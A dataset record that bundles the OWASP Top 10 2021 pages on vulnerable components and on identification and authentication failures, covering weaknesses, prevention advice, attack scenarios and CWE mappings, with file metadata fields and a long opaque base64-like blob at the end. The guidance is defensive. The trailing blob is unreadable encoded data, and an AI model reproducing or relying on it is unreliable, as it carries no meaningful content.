impact. Such flaws can be accidental (e.g., coding error) or intentional
(e.g., a backdoor in a component). Some example exploitable component
vulnerabilities discovered are:
- CVE-2017-5638, a Struts 2 remote code execution vulnerability that
enables the execution of arbitrary code on the server, has been
blamed for significant breaches.
- While the internet of things (IoT) is frequently difficult or
impossible to patch, the importance of patching them can be great
(e.g., biomedical devices).
There are automated tools to help attackers find unpatched or
misconfigured systems. For example, the Shodan IoT search engine can
help you find devices that still suffer from Heartbleed vulnerability
patched in April 2014.
## References
- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](/www-project-application-security-verification-standard)
- [OWASP Dependency Check (for Java and .NET libraries)](/www-project-dependency-check)
- [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)
- [OWASP Virtual Patching Best Practices](/www-community/Virtual_Patching_Best_Practices)
- [The Unfortunate Reality of Insecure Libraries](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)
- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)
- [National Vulnerability Database (NVD)](https://nvd.nist.gov/)
- [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)
- [GitHub Advisory Database](https://github.com/advisories)
- [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)
- [SAFECode Software Integrity Controls \[PDF\]](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)
## List of Mapped CWEs
[CWE-937 OWASP Top 10 2013: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/937.html)
[CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)
[CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)
|
A07_2021-Identification_and_Authentication_Failures.md | ./Top10/2021/docs/A07_2021-Identification_and_Authentication_Failures.md | # A07:2021 – Identification and Authentication Failures ![icon](assets/TOP_10_Icons_Final_Identification_and_Authentication_Failures.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 22 | 14.84% | 2.55% | 7.40 | 6.50 | 79.51% | 45.72% | 132,195 | 3,897 |
## Overview
Previously known as *Broken Authentication*, this category slid down
from the second position and now includes Common Weakness
Enumerations (CWEs) related to identification
failures. Notable CWEs included are *CWE-297: Improper Validation of
Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, and
*CWE-384: Session Fixation*.
## Description
Confirmation of the user's identity, authentication, and session
management is critical to protect against authentication-related
attacks. There may be authentication weaknesses if the application:
- Permits automated attacks such as credential stuffing, where the
attacker has a list of valid usernames and passwords.
- Permits brute force or other automated attacks.
- Permits default, weak, or well-known passwords, such as "Password1"
or "admin/admin".
- Uses weak or ineffective credential recovery and forgot-password
processes, such as "knowledge-based answers," which cannot be made
safe.
- Uses plain text, encrypted, or weakly hashed passwords data stores (see
[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures.md)).
- Has missing or ineffective multi-factor authentication.
- Exposes session identifier in the URL.
- Reuse session identifier after successful login.
- Does not correctly invalidate Session IDs. User sessions or
authentication tokens (mainly single sign-on (SSO) tokens) aren't
properly invalidated during logout or a period of inactivity.
## How to Prevent
- Where possible, implement multi-factor authentication to prevent
automated credential stuffing, brute force, and stolen credential
reuse attacks.
- Do not ship or deploy with any default credentials, particularly for
admin users.
- Implement weak password checks, such as testing new or changed
passwords against the top 10,000 worst passwords list.
- Align password length, complexity, and rotation policies with
National Institute of Standards and Technology (NIST)
800-63b's guidelines in section 5.1.1 for Memorized Secrets or other
modern, evidence-based password policies.
- Ensure registration, credential recovery, and API pathways are
hardened against account enumeration attacks by using the same
messages for all outcomes.
- Limit or increasingly delay failed login attempts, but be careful not to create a denial of service scenario. Log all failures
and alert administrators when credential stuffing, brute force, or
other attacks are detected.
- Use a server-side, secure, built-in session manager that generates a
new random session ID with high entropy after login. Session identifier
should not be in the URL, be securely stored, and invalidated after
logout, idle, and absolute timeouts.
## Example Attack Scenarios
**Scenario #1:** Credential stuffing, the use of lists of known
passwords, is a common attack. Suppose an application does not implement
automated threat or credential stuffing protection. In that case, the
application can be used as a password oracle to determine if the
credentials are valid.
**Scenario #2:** Most authentication attacks occur due to the continued
use of passwords as a sole factor. Once considered best practices,
password rotation and complexity requirements encourage users to use
and reuse weak passwords. Organizations are recommended to stop these
practices per NIST 800-63 and use multi-factor authentication.
**Scenario #3:** Application session timeouts aren't set correctly. A
user uses a public computer to access an application. Instead of
selecting "logout," the user simply closes the browser tab and walks
away. An attacker uses the same browser an hour later, and the user is
still authenticated.
## References
- [OWASP Proactive Controls: Implement Digital Identity](https://owasp.org/www-project-proactive-controls/v3/en/c6-digital-identity)
- [OWASP Application Security Verification Standard: V2 authentication](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Application Security Verification Standard: V3 Session Management](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Identity](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README), [Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)
- [OWASP Cheat Sheet: Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Credential Stuffing](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
- [OWASP Automated Threats Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)
- [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret)
## List of Mapped CWEs
[CWE-255 Credentials Management Errors](https://cwe.mitre.org/data/definitions/255.html)
[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)
[CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
[CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)
[CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)
[CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)
[CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)
[CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)
[CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)
[CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)
[CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)
[CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)
[CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)
[CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)
[CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
[CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)
[CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)
[CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)
[CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
[CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)
[CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)
[CWE-1216 Lockout Mechanism Errors](https://cwe.mitre.org/data/definitions/1216.html)
| 8,175 | 0.007799 | # A07:2021 – Identification and Authentication Failures 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